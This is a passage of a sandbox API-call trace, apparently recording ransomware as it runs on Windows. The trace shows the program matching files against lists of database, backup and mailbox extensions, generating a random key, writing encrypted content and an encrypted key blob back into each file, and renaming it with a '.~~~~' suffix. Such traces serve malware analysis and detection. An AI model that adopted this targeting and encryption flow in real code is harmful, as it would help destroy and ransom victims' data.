	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.957] lstrlenW (lpString=".DB") returned 3
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.957] lstrlenW (lpString=".sql") returned 4
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.957] lstrlenW (lpString=".MYD") returned 4
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0085.957] lstrlenW (lpString=".DBT") returned 4
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.957] lstrlenW (lpString=".ACCDB") returned 6
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.957] lstrlenW (lpString=".fdb") returned 4
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.957] lstrlenW (lpString=".bak") returned 4
	[0085.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.958] lstrlenW (lpString=".myd") returned 4
	[0085.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.958] lstrlenW (lpString=".DTXS") returned 5
	[0085.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.958] lstrlenW (lpString=".ckp") returned 4
	[0085.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.958] lstrlenW (lpString=".dbt") returned 4
	[0085.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.958] lstrlenW (lpString=".db") returned 3
	[0085.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.958] lstrlenW (lpString=".TXT") returned 4
	[0085.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.958] lstrlenW (lpString=".MDF") returned 4
	[0085.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.958] lstrlenW (lpString=".bdb") returned 4
	[0085.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.958] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.958] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0085.960] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.960] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0085.960] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20594989618) returned 1
	[0085.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d0c6fb0, dwHighDateTime=0x1d60e1e)) 
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2d40
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d40 | out: hHeap=0x300000) returned 1
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bab98
	[0085.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bab98 | out: hHeap=0x300000) returned 1
	[0085.960] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0085.961] GetLastError () returned 0x0
	[0085.961] GetLastError () returned 0x0
	[0085.961] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0085.961] GetLastError () returned 0x0
	[0085.961] GetLastError () returned 0x0
	[0085.964] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff44a6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.964] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xbb5a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xbb5a, lpOverlapped=0x0) returned 1
	[0085.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.964] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.964] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.965] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.965] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.965] CloseHandle (hObject=0x120) returned 1
	[0085.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5558
	[0085.965] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.~~~~")) returned 1
	[0085.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5558 | out: hHeap=0x300000) returned 1
	[0085.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.968] GetLastError () returned 0x0
	[0085.968] RtlWakeConditionVariable () returned 0x365f70
	[0085.968] GetCurrentThreadId () returned 0x9cc
	[0085.968] GetCurrentThreadId () returned 0x9cc
	[0085.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0085.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bace8 | out: hHeap=0x300000) returned 1
	[0085.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d78 | out: hHeap=0x300000) returned 1
	[0085.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bace8
	[0085.968] lstrlenW (lpString=".scr") returned 4
	[0085.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".scr") returned 0x0
	[0085.968] lstrlenW (lpString=".cmd") returned 4
	[0085.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".cmd") returned 0x0
	[0085.968] lstrlenW (lpString=".dll") returned 4
	[0085.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".dll") returned 0x0
	[0085.968] lstrlenW (lpString=".bat") returned 4
	[0085.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".bat") returned 0x0
	[0085.968] lstrlenW (lpString=".cpl") returned 4
	[0085.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".cpl") returned 0x0
	[0085.969] lstrlenW (lpString=".sys") returned 4
	[0085.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".sys") returned 0x0
	[0085.969] lstrlenW (lpString=".msc") returned 4
	[0085.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".msc") returned 0x0
	[0085.969] lstrlenW (lpString=".com") returned 4
	[0085.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".com") returned 0x0
	[0085.969] lstrlenW (lpString=".lnk") returned 4
	[0085.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".lnk") returned 0x0
	[0085.969] lstrlenW (lpString=".msp") returned 4
	[0085.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".msp") returned 0x0
	[0085.969] lstrlenW (lpString=".pif") returned 4
	[0085.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".pif") returned 0x0
	[0085.969] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0085.970] lstrlenW (lpString=".sqb") returned 4
	[0085.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".sqb") returned 0x0
	[0085.970] lstrlenW (lpString=".ost") returned 4
	[0085.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".ost") returned 0x0
	[0085.970] lstrlenW (lpString=".txt") returned 4
	[0085.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".txt") returned 0x0
	[0085.970] lstrlenW (lpString=".mdt") returned 4
	[0085.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".mdt") returned 0x0
	[0085.970] lstrlenW (lpString=".BDB") returned 4
	[0085.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".BDB") returned 0x0
	[0085.970] lstrlenW (lpString=".eql") returned 4
	[0085.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".eql") returned 0x0
	[0085.970] lstrlenW (lpString=".DBF") returned 4
	[0085.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DBF") returned 0x0
	[0085.970] lstrlenW (lpString=".EQL") returned 4
	[0085.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".EQL") returned 0x0
	[0085.970] lstrlenW (lpString=".FDB") returned 4
	[0085.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".FDB") returned 0x0
	[0085.971] lstrlenW (lpString=".EDB") returned 4
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".EDB") returned 0x0
	[0085.971] lstrlenW (lpString=".DACPAC") returned 7
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DACPAC") returned 0x0
	[0085.971] lstrlenW (lpString=".VHD") returned 4
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".VHD") returned 0x0
	[0085.971] lstrlenW (lpString=".DBV") returned 4
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DBV") returned 0x0
	[0085.971] lstrlenW (lpString=".dacpac") returned 7
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".dacpac") returned 0x0
	[0085.971] lstrlenW (lpString=".sdf") returned 4
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".sdf") returned 0x0
	[0085.971] lstrlenW (lpString=".accdb") returned 6
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".accdb") returned 0x0
	[0085.971] lstrlenW (lpString=".DBX") returned 4
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DBX") returned 0x0
	[0085.971] lstrlenW (lpString=".MDT") returned 4
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".MDT") returned 0x0
	[0085.971] lstrlenW (lpString=".SQB") returned 4
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".SQB") returned 0x0
	[0085.971] lstrlenW (lpString=".vhd") returned 4
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".vhd") returned 0x0
	[0085.971] lstrlenW (lpString=".bac") returned 4
	[0085.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".bac") returned 0x0
	[0085.971] lstrlenW (lpString=".mdf") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".mdf") returned 0x0
	[0085.972] lstrlenW (lpString=".BAK") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".BAK") returned 0x0
	[0085.972] lstrlenW (lpString=".BAC") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".BAC") returned 0x0
	[0085.972] lstrlenW (lpString=".dbs") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".dbs") returned 0x0
	[0085.972] lstrlenW (lpString=".vhdx") returned 5
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".vhdx") returned 0x0
	[0085.972] lstrlenW (lpString=".NDF") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".NDF") returned 0x0
	[0085.972] lstrlenW (lpString=".dat") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".dat") returned 0x0
	[0085.972] lstrlenW (lpString=".DBS") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DBS") returned 0x0
	[0085.972] lstrlenW (lpString=".CKP") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".CKP") returned 0x0
	[0085.972] lstrlenW (lpString=".edb") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".edb") returned 0x0
	[0085.972] lstrlenW (lpString=".PST") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".PST") returned 0x0
	[0085.972] lstrlenW (lpString=".dbf") returned 4
	[0085.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".dbf") returned 0x0
	[0085.972] lstrlenW (lpString=".SQL") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".SQL") returned 0x0
	[0085.973] lstrlenW (lpString=".pst") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".pst") returned 0x0
	[0085.973] lstrlenW (lpString=".dbv") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".dbv") returned 0x0
	[0085.973] lstrlenW (lpString=".SDF") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".SDF") returned 0x0
	[0085.973] lstrlenW (lpString=".dtxs") returned 5
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".dtxs") returned 0x0
	[0085.973] lstrlenW (lpString=".db3") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".db3") returned 0x0
	[0085.973] lstrlenW (lpString=".OST") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".OST") returned 0x0
	[0085.973] lstrlenW (lpString=".dbx") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".dbx") returned 0x0
	[0085.973] lstrlenW (lpString=".DB3") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DB3") returned 0x0
	[0085.973] lstrlenW (lpString=".DAT") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DAT") returned 0x0
	[0085.973] lstrlenW (lpString=".VHDX") returned 5
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".VHDX") returned 0x0
	[0085.973] lstrlenW (lpString=".ndf") returned 4
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".ndf") returned 0x0
	[0085.973] lstrlenW (lpString=".DB") returned 3
	[0085.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DB") returned 0x0
	[0085.973] lstrlenW (lpString=".sql") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".sql") returned 0x0
	[0085.974] lstrlenW (lpString=".MYD") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".MYD") returned 0x0
	[0085.974] lstrlenW (lpString=".DBT") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DBT") returned 0x0
	[0085.974] lstrlenW (lpString=".ACCDB") returned 6
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".ACCDB") returned 0x0
	[0085.974] lstrlenW (lpString=".fdb") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".fdb") returned 0x0
	[0085.974] lstrlenW (lpString=".bak") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".bak") returned 0x0
	[0085.974] lstrlenW (lpString=".myd") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".myd") returned 0x0
	[0085.974] lstrlenW (lpString=".DTXS") returned 5
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".DTXS") returned 0x0
	[0085.974] lstrlenW (lpString=".ckp") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".ckp") returned 0x0
	[0085.974] lstrlenW (lpString=".dbt") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".dbt") returned 0x0
	[0085.974] lstrlenW (lpString=".db") returned 3
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".db") returned 0x0
	[0085.974] lstrlenW (lpString=".TXT") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".TXT") returned 0x0
	[0085.974] lstrlenW (lpString=".MDF") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".MDF") returned 0x0
	[0085.974] lstrlenW (lpString=".bdb") returned 4
	[0085.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".bdb") returned 0x0
	[0085.975] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.975] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
